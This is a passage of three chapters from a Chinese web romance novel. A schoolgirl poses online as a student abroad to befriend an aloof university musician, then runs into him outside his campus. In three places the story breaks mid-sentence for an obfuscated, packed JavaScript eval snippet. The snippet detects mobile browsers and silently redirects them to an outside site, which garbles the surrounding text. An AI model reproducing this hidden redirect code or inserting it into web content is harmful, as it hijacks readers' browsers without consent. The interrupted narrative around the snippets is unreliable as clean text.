宋浣溪明知故问,装模作样。 云溪:「啊?????」 云溪:「怎么回事?!我不会加错人了吧??」 她很刻意地又等了一分钟,而后连环输出。 云溪:「不好意思,不好意思。我看了一下,我真的加错人了……」 云溪:「有一说一,我们都有弟弟!而且我输错了一位微信号,居然这么巧加到了你的微信。」 云溪:「我们好有缘分哦。」 云溪:「就不互删了吧,当交个朋友。」 她寻思着自己这么一说,云霁肯定不理她了。 至于会不会删联系方式,她不确定。他不删除她,让她安安静静地躺尸在他的好友列表,已经是她最大的奢求。 Yun:「云霁。」 Yun:「我的名字。」 黑夜之中,宋浣溪的瞳孔猛地放大。 这是在……在交朋友?!! 啊啊啊啊! 她克制不住想要尖叫,怕吵醒隔壁的小姨,赶忙掀过被子蒙住头。像只小兽一样,她抱着拳头,扭作一团,兴奋得呜呜啊啊直叫。 她不知道的是,云霁这一举,是试探。 告诉她名字,是为了试探她,到底认不认识他。如果认识的话,到底是有意为之,还是阴差阳错。 深夜的时间,似乎总比白日里要漫长。至少这五分钟,显得格外漫长。 时间一分一秒过去。 会不会不是她? 震惊得说不出话了? 又或者是,去微博看有什么蛛丝马迹,在猜测到底是不是同名同姓? 事实上。 当巨大的微信提示声将宋浣溪拉醒时,她才注意到,自己已经傻笑了十分钟。 Yun:「你的微信名是本名?」 宋浣溪一时想不出什么好听的新名字。顺水推舟的念头,一下子涌上心头。但她最后还是矢口否认。 云溪:「猜错啦。」 她单纯是觉得,不小心加错人,都有弟弟,都姓云,三个巧合加在一起,有些夸张了。 根据她多年在云霁微博底下胡说八道的经验,她很快编出一个全新的人设。 出门在外,身份都是自己给的。 她自称是海外留学生,英文名sissie,中文名越溪。 云溪:「对啦,我弟弟在国内上幼稚园。幼稚园老师和我说的时候,我先入为主地认为你们也在国内啦。请问你是海外华侨,还是远在国内的同胞呢?」 为了佐证海外留学生这一身份的真实性,她马上自问自答。 云溪:「可是国内已经凌晨两点了诶。」 云溪:「不会你也是留学生吧。这么巧的嘛??」 Yun:「不是。我在国内。」 云溪:「哇!那太好啦!我在国外待了快两年啦,在国内的朋友都不联系了(流泪jpg)这下终于有新朋友啦!好开心!」 云溪:「你今年几岁呀?」 和所有陌生故事的开头一样,他们聊年龄,聊学校,聊家人。 不同的是,他说的都是真的,她口中全是假的。 两人都有自己的心思,她心中叹他天真无邪,得亏碰上的是她,不然迟早被骗得裤衩子都不剩。 他听她的言论,只觉半真半假,似是而非。 饶是他再怎么想,也想不到,她口中没有一句真话。 宋浣溪自有自己的一套理论。 年龄嘛,未成年绝对不行,就说19好了。和他是同龄人,有共同话题。 学校嘛,海外留学生,时差大概七小时,英国正合适。成绩也不能差,不如就曼彻斯特大学好了。 专业嘛,可不能瞎说,说个音乐类的,太过班门弄斧,不小心弄巧成拙就不好了。 说个什么好呢?不然就牙医吧。他的牙长得又白又整齐,看起来牙口不错,咬人应该挺疼的……肯定没什么问题要问。 家人嘛,已经编了一个弟弟,还是不要再说哥哥了,不然家里人口也太多了。 云霁的语气不算热情,甚至有些生硬,没有表情符号,颜文字更是不可能用。但她不在意,她一个人就能活络气氛。 宋浣溪的语气越来越熟络,活脱脱的自来熟。 她如饥似渴地获取有关他的信息,比如他就读于海晏大学。 又比如除了云卷,他再没提及其他家人。 既然他没提,多半是有什么隐情,或者单纯不想提及。无论哪种,宋浣溪都不会打破砂锅问到底。 眼见时间到了凌晨三点。 宋浣溪自然有用不完的力气,可想起小姨耳提面命,说熬夜伤身,轻则头晕目眩,重则英年早逝。 作为一个合格的小粉丝,她在及时行乐和来日方长之间,毫不犹豫地选择了后者。 云溪:「很高兴认识你,我该去忙啦~」 云溪:「以后可以叫你哥哥嘛?(咬唇)(试探地伸手手)(抓住你的袖子)(轻轻摇晃)」 云溪:「从小我就想着,要是有个哥哥就好啦(一脸期待)」 如果越淮看到这一幕,不知道作何感想。 云霁灭了床头的灯,房间随之暗下来。 年纪对得上,语气对得上,给人的感觉很像。不同的是,她说自己没有哥哥。 那么,到底是她撒了谎,还是她们是两个人。有待考究。 他答。 Yun:「可以。」 可以,喊他哥哥。 真是她的话。她也没少喊。 这一晚。 对宋浣溪而言,可谓是喜从天降,从陌生人,到朋友,再到兄妹相称。进度突飞猛进。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13976589|148038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她本以为自己会兴奋得睡不着,然而,闭上眼睛没多久,她便沉沉地睡去了。 临睡前想的是,坏女人教的聊天技巧可真管用啊…… 早晨七点。 云霁打开房门,将正大摇大摆从门前经过的云卷吓了一跳。 云卷飞速把什么东西藏到了身后,大惊失色道:“哥,你怎么还没走?平时这个点,你不是早就走了吗?” “刚醒。”云霁淡淡瞥了眼他身后,“你去哪?” 云卷支支吾吾,“我……我去……去高振国家玩会儿。” “哥。”怕云霁追问,云卷忙转移话题,“你昨晚没睡好吗?你黑眼圈今天有点重。” “嗯。” 云霁没再追问,转身朝洗手间走去。云卷始终面对着他,直到云霁消失在拐角处。 待云霁看到半身镜,才知云卷所言非虚。许是睡眠不足,他的脸色此时实在算不上好看,眼下一圈淡淡乌青。 掬起一捧清水,冲了冲脸颊,困意这才消失殆尽。 本以为早早会收到消息,一早上,那人却不声不响。 如果是她的话,大抵早就忍不住了。 这一点云霁想的没错。但宋浣溪没骚扰他的原因,单纯是因为起迟了。 房门被敲了又敲,俞明雅的声音越来越大。 “溪溪,起床吃饭!” 宋浣溪含糊不清地应了句“等会儿”,又阳奉阴违地把脑袋塞进被子里。 “赶紧出来!再不吃要凉了!” “唔……知道了……”声音小得只有她自己能听到。 “我下午要值班,先出门了。有事打我电话。” 宋浣溪长长地“嗯”了声,听着门外的脚步声渐行渐远。 两分钟后,她才捕捉到话里的关键点。 什么??下午了! 她猛地睁开眼,捞过床头的手机。看清显示屏上的时间,她舒了一口气。 小姨总是这么夸张,哪里到下午了?明明才中午。 等等…… 中午了! 宋浣溪打开微信,和意料之中的一样,云霁没有给她发任何消息。 让她悔不当初的是,她错过了“早安”“吃早饭了吗?”这种嘘寒问暖的机会。今天早上,可是形成习惯的最好开端。她居然硬生生错过。 忽地又想到,按照苏格兰的时间来算,此时应当是凌晨才对。这般想着,她订了下午4点的闹钟。 今天周六,她闲着无事,决定去一探云卷的究竟。登上企鹅号,她给高振国发去消息。 溪溪溪:「今天下午补课,别忘了。」 这是宋浣溪第一次在周末给他补课,以往她都是用体育课的时间,给他补课。 虽然她是项庄舞剑,意在沛公,但高振国也没受到任何损失。 不考及格不改名:「溪姐!我有罪!卷哥那边临时有事,我实在抽不开身啊!不然我们换个时间吧……」 又甩了个跪地谢罪的表情包过来。 在宋浣溪第一次给高振国讲题后不久,他就把对她的称呼,从“新同学”改成了“溪姐”。她受之坦然,云卷面无表情,倒是陶舒在一旁不满地大呼小叫。 高振国不是云霁,宋浣溪自是打破砂锅问到底。 溪溪溪:「什么事比学习还重要?」 溪溪溪:「你之前怎么跟我保证的?我对你太失望了。」 11. 第 11 章 果然,这话一出口。高振国急急忙忙跟她解释。 不考及格不改名:「今天下午卷哥要参加无畏契约的海晏交流赛,有个队友早上喝了过期豆浆,食物中毒送去医院抢救了,现在没人顶上。卷哥都开口了,我根本拒绝不了啊!!!」 溪溪溪:「在哪比?」 不考及格不改名:「就在市中心的一家网吧。」 宋浣溪继续套话。 溪溪溪:「这种事情有一就有二。要是云卷一直没找到队友,你岂不是每次都要去帮忙?」 不考及格不改名:「溪姐,你放心!卷哥被wk俱乐部看上了,暑假后就要去青训营开启职业生涯了!」 溪溪溪:「他家里人同意?」 不考及格不改名:「卷哥每次去网吧都偷偷摸摸的,我猜,云霁哥肯定是不同意的。估计卷哥准备离家出走吧。」 溪溪溪:「他之前逃学都是去网吧?」 不考及格不改名:「大部分时候是。」 高振国担心宋浣溪觉得,他是在跟着云卷鬼混,忙跟她解释。 不考及格不改名:「两年前就有俱乐部联系卷哥了,知道卷哥才14岁后,就没后文了。溪姐,你不知道!国家政策有规定,要16岁才能参加青训营。」 宋浣溪内心:这个规定好啊。 不考及格不改名:「卷哥这两年一直没有松懈,每天都刻苦训练。」 宋浣溪内心:你干脆说每天都在玩得了。 不考及格不改名:「这次交流赛,前三名的队伍能获得奖金。溪姐,等我拿到奖金,请你喝奶茶!」 宋浣溪内心:被人卖了还给人数钱呢。 溪溪溪:「那就先祝你们比赛顺利啦!」 高振国再次感慨,溪姐人真好,简直是无可挑剔。除了之前找他要微信,弄得他提心吊胆了好几天。 这个感慨,一直持续到他进网吧。 高振国到网吧的时候,云卷正一边捞泡面,一边按着鼠标,等着游戏加载。 高振国坐到他身边,邀功,“卷哥,我为了你,可是放弃了今天下午的补习!怎么样,感动吧?” 云卷吸着泡面,盯着屏幕,眼也没移,“你妈又给你报补习班了?” “不是我妈。”高振国停了两秒,“是溪姐!她大发善心,同意在课外时间给我补课来着……” 云卷停下叉子,皱着眉打断,“我看不是大发善心,是另有所图吧。” 高振国愣了愣,“卷哥,你这话什么意思?我怎么听不懂呢。” 云卷啧了声,“你别装了。陶舒早把你卖了。要不是小爷知道,我哥从来不加陌生人。我早就找你算账了。” “卷哥,你这键盘是不是上回比赛赢的那个!太几把酷炫了吧!”高振国指着云卷面前的键盘,语气浮夸。 在云卷的死亡凝视下,高振国讪讪地笑了声,“卷哥,我这不是知道云霁哥肯定不会理她,才给她微信的嘛。而且人家还没来得及加,就找到男朋友了。听说啊,她男朋友可是个大帅哥!她早放弃加云霁哥了……” “她有男朋友了?”云卷先是有些惊讶,又说:“她有没男朋友,关小爷屁事。” 进度条加载到百分百,游戏音响起,游戏开始。 云卷远远地将泡面抛进垃圾桶,戴上头戴式耳机,将外界声音阻隔在外。他左手按上五光十色的键盘,右手飞快地移动鼠标。 他俩都没发现,这段对话牛头不对马嘴。 陶舒在和云卷告密时,信誓旦旦地告诉他,宋浣溪加他哥微信,绝对是为了方便告状。 云卷也这么先入为主地认为了。 虽然他哥的爱慕者众多,但多是踩着恨天高的、成熟漂亮的美女。 云卷压根没想过,宋浣溪一前胸贴后背的坏心眼小白菜,会对他哥有非分之想。 高振国呆呆地看着云卷的侧颜,整个人还沉浸在不可思议中。 这……这事就这么过去了? 卷哥居然还玩得下去?他以为他会跳起来,把他打死! 想当年,他不谙世事,也曾被笑靥如花的大姐姐骗过。在卷哥知道,他出卖他哥联系方式的当晚,他被狠狠揍了一顿。浑身酸痛了好几天,走路都疼。给他留下了巨大的心理阴影。 另一边。 宋浣溪吃完午饭,给越淮打去了夺命连环call。打了七八个电话后,终于被人接起。 “喂。”越淮的声音模糊,带着刚睡醒的喑哑。 “都几点了?你还在睡呢!怎么比我还懒。”宋浣溪笑嘻嘻道。 “没事挂了。” “别别别!有事有事。我给你发的照片,你看了嘛?这些东西可都是河清吃不到的。你就不想念海晏的美食吗?” 她二十分钟前给越淮发了三张照片,拍的是俞明雅做的午饭。海晏虽然没什么好玩的,但特色美食不少。 电话那头,越淮没说话,连呼吸声都没有,有那么一瞬间,她怀疑他又睡过去了。 宋浣溪继续说:“听小姨说,你五一不准备回来。这怎么行呢?我、小姨、姨父都很想念你。” 越淮懒懒道:“有事。不回。” 宋浣溪对这件事非常执着,因为她想用越淮的手机,给云霁打电话,约他见面。 越淮虽给她寄了张新手机卡,但新手机卡的号码归属地在河清。不知他是怎么办到的,手机尾号是一串888888。 她收到新手机卡的第一天,给云霁打过电话,想告诉他自己换号码了。 许是号码归属地在遥远的河清,且号码像极诈骗电话,响了几秒后被对面掐断。 后来再打过去,永远是清一色的“对不起,您拨打的电话正在通话中,请稍后再拨”。 呜呜呜,被拉黑了。 她自是不会怪云霁,全把这事迁怒在越淮头上。 大魔王怎么这么笨!连这点小事都办不好! 笨就算了,还重色轻妹! 别以为她不知道,大魔王肯定是觉得,回来也没法见到坏女人,反倒是触景伤情。不如待在河清,随时视奸她的视频动态,省下的机票钱还能给坏女人打赏。 依坏女人的性格,他怎么说也能听到一句“xxx最好啦,最喜欢你了”之类的甜言蜜语。 不行!绝对不行! 想到这里,宋浣溪转了转眼睛,“之前小姨不是老问我,想考哪个学校嘛?我想好了,我的目标是海晏大学。小姨五一没空,你带我去海晏大学逛逛嘛。” 据她所知,坏女人就读于海晏大学。 最重要的是,要是运气好,她还能在海晏大学偶遇云霁。 可谓是一举两得,皆大欢喜。 电话那天安静片刻,才好似不情不愿道:“行吧。” 宋浣溪喜笑颜开,“好耶!那我等你回来!” 电话一挂,她重重地对着手机“呸”了声,“重色轻妹!双标狗!” 待到下午闹钟响起,宋浣溪准时给云霁发去消息。 云溪:「早上好呀,哥哥!(揉揉睡眼)(打了个小哈欠)(看看手表)现在英国还是早上呢(撑着下巴)(好困)」 五分钟过去,无人回复。 宋浣溪不以为意:还没看到。 半小时过去,无人回复。 宋浣溪心中不安:可能在忙。 两小时过去,无人回复。 宋浣溪悲痛欲绝:不想理她。 想再发点什么,试探一下有没有被删除,又怕让他烦上加烦。 点进他的朋友圈,看了又看,照例是一片空白。她有些拿不准,自己是被屏蔽了,被拉黑了,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13976590|148038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没发过朋友圈。 她自己的朋友圈,设置的是仅三天可见,没有销毁证据的烦恼。 又过了半小时。 Yun:「早。」 Yun:「刚刚在忙。」 对宋浣溪而言,没被拉黑已是心满意足。如今她不仅完好无损地躺在他的好友列表,他还屈尊降贵地向她解释。她哪有半点怨言。 她屁颠屁颠地回他。 云溪:「哥哥忙吧(支手手)(捧脸)」 宋浣溪见他忙,没再打扰他。此后的两天,两人都只维持着“哥哥,早呀”“早”的毫无营养的对话。 她不敢打搅云霁,只能从侧面打听情报。她想知道,云霁除了去学校,都做些什么,大概什么时间点有空。 她将主意打到她唯一的人脉——高振国身上。 但先前她和高振国说过,自己找到了新目标。如果突然又表现出,对云霁有所兴趣,怕是会坏事。 这事,还得从长计议。 没等宋浣溪找到机会,五一假期如期而至。 五一这天,俞明雅、越曾一早去了医院,家中只剩宋浣溪一人。 她起了大早,在衣柜挑挑拣拣半天,始终做不了决定。 娃娃领学院风连衣裙,本来挺喜欢的,今天一看,好像有点幼稚。 水手领修身连衣裙,袖口不知道什么时候染了淡淡的蓝色,之前怎么没发现。 森系文艺风棉质长裙,怎么这么宽松、这么大,显胖…… 玄关处响起窸窸窣窣的动静,宋浣溪过于投入,丝毫没听见。 “起床了,懒鬼。”一点都不客气的男声响起,打断她的思考。 语气懒懒的,贱贱的。不是大魔王,还能是谁。 “我早就起来了,好吧?等我换一下衣服。”她高声回应着,扯出一件白色无袖连衣裙。这条裙子是她看坏女人视频时,见她穿过的。 她瞧着好看,截图下来,网购同款。大魔王第一次见她穿这裙子的时候,还愣了几秒。她追问好不好看,他浑不在意地说就那样。 宋浣溪一个字也不信。 此时,她换好衣服,在全身镜前,来回转了几圈。前看看,后看看。 纯白的无袖连衣裙,领口一朵小小的白色的立体栀子花,腰间的白色飘带束裹着腰身。腰侧的黑色斜挎包小得只能装下一部手机,典型的美丽又无用。裙摆刚刚及膝。 天啦噜,这是什么绝世小美女。她厚颜无耻地自我陶醉了一番。 来来回回折腾半天,她打开房门。只见越淮背靠着沙发,脑袋后仰在沙发顶上,乌黑的蓬松碎发落在额前,双眸紧闭,显然十分困倦。有几分说不出的“破碎感”。 他身穿黑色立领冲锋衣,立起的领口虚虚地遮住半截下巴。黑衣黑裤,双手抱于胸前,长腿大摇大摆地张着。开门声响起,他动也没动,不知是不是睡着了。 虽然她经常对他不满,但有一说一,大魔王的确有几分姿色,比网上风靡一时冲锋衣型男,帅上那么一大截。 她恨铁不成钢地摇摇头,大魔王赶最早的飞机回来,能不困倦,能不破碎吗?说真的,她都有点怜爱这一根筋的恋爱脑了。 下一秒,她被茶几上的手机吸引了注意。 天赐良机。 趁大魔王睡着,借他手机打个电话,再悄悄把通话记录删掉。简直完美。 宋浣溪大气也不敢喘,踮起脚尖,一步一步地挪到茶几前。站定几秒,越淮仍无动作。 她稍稍放下心来,弯下腰,鬼鬼祟祟地将手伸向桌面上的手机。指尖距离桌面,只剩最后两厘米。胜利就在眼前。 终于成功碰到手机,宋浣溪聚精会神、小心翼翼地拿起来,尽量不发出任何声音。 “搁我这偷东西呢?”某人凉凉的声音响起。 12. 第 12 章 宋浣溪吓了一跳,手一抖,手机掉落桌面。茶几与手机碰撞,发出“砰”的巨响声。 人赃并获。 宋浣溪直起身子,视死如归地看向越淮,嘴硬道:“什么叫偷东西?一家人,这能叫偷吗?我就是看你睡着了,不忍心叫醒你,所以才自己拿的。你不会连个电话,都不愿意借我打吧?” 多年斗智斗勇的经验,让宋浣溪熟练掌握反客为主的技能。直接给他扣上一口大黑锅。 她强装镇定地与他对视,一边捏手指,一边腹诽,大魔王这是多少天没睡觉了,眼睛血丝这么多。这下,真和动漫里吃人的红眼“大魔王”,有那么点相似度了。 那双桃花眼上下扫了她一眼,看得宋浣溪心里发毛。越淮蹙了蹙眉,“穿这么少?准备生病了,传染给我?” 什么破碎感。 什么怜爱。 宋浣溪现在只想给他两个大嘴巴子。 她“哼哼”两声,“海晏都20多度了,外面穿短袖的人可多了。这里又不是河清。” 越淮揉揉太阳穴,“没收到手机卡?” 宋浣溪睁着眼睛说瞎话,“收到了,用着用着就停机了,还没交话费。” 越淮拿起手机,一边操作,一边阴阳怪气,“可真行。交了一年的话费,还没一个月,就停机了。一天打八百个电话,都没这么快停机——” 停顿两秒,他了然道:“你搞电信诈骗去了?” 宋浣溪不满道:“一会儿说我偷东西,一会儿说我诈骗的。我怎么不知道我成法外狂徒了?”是的话,也不搞电信诈骗,顶多就是杀个人。 说话间,腰间传来震动的频率,她从包里掏出手机一看,短信提示话费到账500元。 作为一个势利的女孩,宋浣溪一秒决定原谅他。 她感动地看向越淮,“哥……”果然还是你最好。 他掀起眼帘,“打住。多了没有,别想敲诈我。” “……”宋浣溪义正词严:“我对你太失望了,你怎么能这么想我!我在你眼中的形象,就这么不堪吗?” 越淮没说话,一副“那不然呢”的表情。 好吧。 她的确经常从他那里,要点小钱花来着。但他作为哥哥,怎么能这么斤斤计较! 要不是她还有求于他,可不会这么轻易善罢甘休! 她准备这两天找个机会,用大魔王的手机,把云霁约出来赔礼道歉。歉是道过了,这个礼嘛……反正钱肯定是少不了的。 再说了,那请云霁喝奶茶,再点些甜品什么的,哪哪不需要钱啊。 这般想着,宋浣溪不计前嫌地凑到越淮身边,自顾自地上手给他揉肩,掐媚地说:“哥哥,你大清早赶飞机,肯定累坏了吧。我最近跟小姨新学了一套肩颈理疗法……” 她当然没学过什么肩颈理疗法,全靠自己瞎说。 越淮闲闲地拨开她的手,“黄鼠狼给鸡拜年。” “你你你!”她话到嘴边又拐了个弯,“你说我是黄鼠狼就算了,怎么能说自己是鸡呢。” 她宽宏大量般地说:“我知道你对我有一些误解,但我现在已经改了。你今天说我这,说我那的,我也没准备跟小姨告状。你好不容易回来一趟,这几天我们和平共处,我尽量让着你,不和你斗嘴了。” 越淮沉默了几秒,“那我是不是还得感激你?” 宋浣溪毫不客气,“不用谢,都是一家人,应该的。” 斗完嘴,在她的催促下,越淮驱车前往海晏大学。他开的是越曾的车。越曾工作的医院就在小区附近,车常在车库里吃灰。 宋浣溪自认为自己对大魔王,那叫一个关怀备至,掏心掏肺。一路上,全是她在使劲扯话题: “你期中考考的怎么样呀?我这次,可是考了我们学校第一名!” “七中第一名?厉害,厉害。” 嘲讽,绝对是嘲讽。她忍。 “你今天早上是不是没吃饭呀?我们一会儿早点吃午饭吧。” “你饿了?” “……” “我听封落哥哥说,他五一也有回来。你们是坐同一辆飞机吗?”封落是越淮的发小,和他们住在一个小区。” “嗯。” 要不要这么惜字如金。 “封落哥哥在学校是不是……” “聒噪。” 她才不管,神色如常地继续吵他。一刻也安静不下来。 …… 从清明到现在,天气变化无常,今天还阳光明媚,明天就狂风骤雨。好在今日,有浅浅的乌云遮阳。车窗外仅有透过云层的淡淡日光,倒正适合出游。 小区离大学城有将近四十分钟的车程,两人到达海晏大学门口时,已经十点钟。 海晏大学位于大学城的中部。众所周知,大学城大多位于前不着村、后不着店的郊区。他们一路跟着导航到了海晏大学的西门。 出师未捷。车到大门口,被保安拦了下来。保安朝外挥挥手,“外来车辆禁止入内。” 宋浣溪摇下半个车窗,虚心求教,“这附近哪里可以停车?” 保安不答反问,“你们谁是海晏大学的学生?过来先扫一下人脸。” 越淮出声,“上次不是不用扫吗?” 宋浣溪竖起耳朵:什么?大魔王之前来过?坏女人都那样对他了。啧啧啧,别太爱了。 “谁说不用扫了!一直都要扫。肯定是之前我同事偷懒了。”保安愤愤地说。 宋浣溪说:“我们都不是海晏大学的,不能进去吗?” 保安指了指远方,“别找地方停车了,往这条路开一公里左右才有地方停车,你们直接开回去吧。海晏大学现在不让参观,要么,你们就让认识的人接你们进去,要么就打道回府。” 宋浣溪眼巴巴地望向越淮,“你有没有同学在这里上学呀?让你同学来接一下我们吧。” 她这是典型的明知故问。坏女人不就在海晏大学读书嘛。机会、理由她都抛到他面前了。 瞧瞧,这就叫神助攻。 越淮食指轻扣着方向盘,似乎在思索着什么。 起初,宋浣溪以为他是一时拉不开面子,越等,越觉得哪里不对劲。 果然,那份不祥的预感应验,他说:“不知道。没注意。” 不知道其他人在哪里上学。没注意其他人在哪里上学。 宋浣溪又气又急,不肯叫坏女人来接他们就算了,其他同学都找不来一个。 她哀怨地说:“你不会连这点人脉都没有吧?” 越淮黑着脸,“闭嘴。” 宋浣溪不服气地吐吐舌头。 “你先下车,在这里等我。我去停车,顺便打电话问封落。” 她小声嘟囔,“这还差不多。” 打开车门,凉风一溜烟窜进车里,鸡皮疙瘩顿起,她抱着光裸在外的手臂,刻意又大声地“嘶”了声,“好冷啊。” 接着把目光看向越淮,直勾勾地盯着他身上的外套,暗示意味十足。 越淮的脸越来越黑,臭着脸解下冲锋衣,丢到她怀里。自己身上只余一件短袖。 “谢啦。”宋浣溪笑嘻嘻地说完,拿起外套,麻溜地下了车。 回应她的,是一串汽车尾气。 宋浣溪穿上冲锋衣,没拉拉链,但防风效果依旧极佳,顿时让人暖和起来。 她低头看看,这衣服对她来说,简直是xxl号,下摆直逼大腿中部。 又走到保安亭旁,对着保安亭的反光玻璃,照来照去。 这不就是网上的男友风外套吗?显得她更苗条了,还有点酷酷的。怪好看的。 校门口恰好无人进出,保安闲着无聊,主动和她唠嗑起来,“小姑娘,你男朋友长挺帅啊,哪个学校的?这在我们海晏大学都能当那个什么来着了,你们年轻人说的那个词叫什么来着……” 宋浣溪不确定道:“校草?” 保安大叔拍拍手,“对对对,就是校草。这人老了,就是记性不好。不过他脾气好像不是很好。” 俗话说,一起说别人坏话,是拉近陌生人距离的最好方式。 萍水相逢,宋浣溪也没和他过多解释,只是深以为然地点头,“好像两个字可以去掉,他脾气岂止不是很好,简直是非常不好!” 应和完,她开始套话,“也就只剩下脸能看了……” 话还没说完,保安打断,“那难能啊!人家不是还开着辉腾吗?怎么说也是个高富帅啊!对了,他是哪个学校的?” “河清大学的。” 保安夸张地赞叹道:“居然是河清大学的高材生!我就说嘛,看起来就很聪明。” 宋浣溪:……? 宋浣溪:别太离谱。 “我觉得海晏大学也挺好的。”她继续坚持不懈地套话,“我听说海晏大学帅哥也不少啊!有比他帅的吧?特别是什么美术系啊,音乐系啊什么的,肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13976591|148038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多才多艺的大帅哥吧?” 在她炙热的目光下,保安冥思苦想了一番,而后斩钉截铁地摇头,“没有!” “不可能吧。我听我朋友说,音乐系有个酷哥长得那叫一个惊为天人,比你刚刚看到的那个,那是帅出一个新的高度。” 看着保安迷茫的眼神,宋浣溪继续追加新的细节,她举起手,比划起来。 “比我高一个头,大概这么高。又高又瘦,但不是那种竹竿身材哈,是穿衣显瘦的那种。脸嘛,本来长得就生人勿近,还经常冷着张脸,满脸写着莫挨老子。” 为了唤醒保安的记忆,宋浣溪收起笑脸,微微敛眸,抿直双唇,冷冷地看了他一眼。努力且生动形象地模仿着云霁的表情。 保安被逗得哈哈大笑,“没见过。” 宋浣溪失望地垮下小脸。 “哦~想起来了!”保安拍了拍头,忽然道:“听说是有个酷哥来着,不过,我也没见过他人。” 宋浣溪的眼睛亮了起来。 保安撇了撇嘴,话里话外全是不屑,“我老婆在学校里当保洁,有天晚上回家,她一直念叨在学校看见个帅小伙儿。还说什么肥水不流外人田,要带我女儿去认识认识!” 他往地上重重地吐了口口水,“这婆娘,一天天在想什么也不知道。小年轻一穷二白的,光长得帅有什么用?能当饭吃吗?要我说,找老公就得找我这样其貌不扬,但是踏实能干,又顾家的。” 话锋一转,他感叹道:“当然了,开辉腾的,也不是不能考虑。” 宋浣溪:直接说嫌贫爱富不就得了,还搁这拐弯抹角。 吐槽越淮时,她连连点头。吐槽云霁时,她重拳出击。 宋浣溪铿锵有力地反驳,“长得帅,和踏实能干、顾家一点也不冲突啊!没准人家不仅长得帅,还踏实能干,又顾家呢!再说了,人家可是音乐系的大才子,没准哪一天就一炮而红,火遍大江南北了!不就是辆辉腾吗?看不起谁呢?” “呸,做什么春秋大梦?每年音乐系多少毕业生,有几个出头的……”话到一半,保安绕绕头,纳闷地问:“不对啊!谁说他是学音乐的?” 宋浣溪傻眼了,“不是吗?” 难不成弄错人了? “不是啊!我记得是个经济学院的男生。” 得,白吵了。 短短几分钟,大起大落。宋浣溪犹如蔫了的白菜,哀莫大于心死。 保安还在喋喋不休地说教,“小姑娘要懂得珍惜,别三心二意、见异思迁的。你男朋友要颜值有颜值,要钱有钱,要性格有……有学历。他这不自个儿去停车了,没舍得让你多走段路,外套也留给你了,还是懂得疼人的。” 说着说着,保安点起了头,本来只是随便一说,突然觉得自己说得还挺有道理的。 宋浣溪左耳朵进,右耳朵出,当他在念经,一句也没进到脑子里。她望着马路的方向出神,第一次这么期待越淮的出现。 苍天啊! 她只知道大妈啰唆,没想到上了年纪的大叔,原来也不遑多让。 距离校门口十来米的马路边,立着个公交站牌。恰好有辆公交车停车,乌乌压压地挤下来一大群学生。 宋浣溪百无聊赖地数着人头,四个欢声笑语的女生先跳下的车,应该是一个寝室的室友。 一个高高壮壮的男生随之冲下车,走得太急,还踩掉了前面一个女生的鞋。他敷衍地说了句什么,越过人走了,留下女生在原地翻白眼,三个室友在一旁安抚。 随后又下来两个互相使眼色的女生,一个用拇指在胸前指了下后方,好像在叫另一个去做些什么。另一个偏头看了看后方,很快回首,她咬着下唇,面露难色。 根据多年看偶像剧的经验,宋浣溪推断她们的“对话”可能是: “你去要一下他的联系方式嘛,过会儿人走了,就来不及了。” “我不敢,要不还是你去吧。” 按照剧情发展,后期多半是——横刀夺爱,好姐妹反目成仇。 后头的男人不紧不慢地下车,纵使戴着口罩。从他那双波澜不惊的眼睛中,能看出,他要么一无所知,要么不感兴趣。 宋浣溪肯定,是后者。 对视的那一眼,时间仿佛按下暂停键,她一眼认出了他。是几分钟前,她费尽心思,想要打听的那个人。是几小时前,她盛装打扮,期待邂逅的那个人。 是他。 是云霁。 13. 第 13 章 最后一个人一下车,公交车门“啪”的一声关上。司机猛踩油门,笨重的巨兽摇摇晃晃地远去。 宋浣溪没个交代,抛下叽叽歪歪、好为人师的保安,飞快地朝云霁冲去,边跑边兴奋地喊:“哥哥!” 短短两个字,饱含兴奋的、炙热的情绪。声线稚嫩又清脆,热情过了头。 一时间,在场的目光皆朝她看去。 一般遇到这种情况,云霁不会认为在喊自己,他也没八卦的爱好,多半是目不斜视,不甚在意。但他对声线出奇的敏感。 他循声望去,飞奔着的女孩黑衣白裙翩翩,双手落在左右两侧助跑,裙摆没有压着,一点都不顾及淑女的形象。像只蹁跹的小蝴蝶。 哦。是她。 没多远的距离,小蝴蝶跑到他面前时,已经开始喘气。说实话,他对萍水相逢的路人,一向没什么太大印象,但眼前的小姑娘他还记得。 许是因为这姑娘记仇,第一次见面就给他来了个下马威。 又许是因为,她那双亮晶晶的杏眼,一旦一瞬不瞬地看着某个人,就很难不让人记住。 小蝴蝶看起来很开心,“哥哥!真的是你呀!好久不见呀!你还记得我吗?” 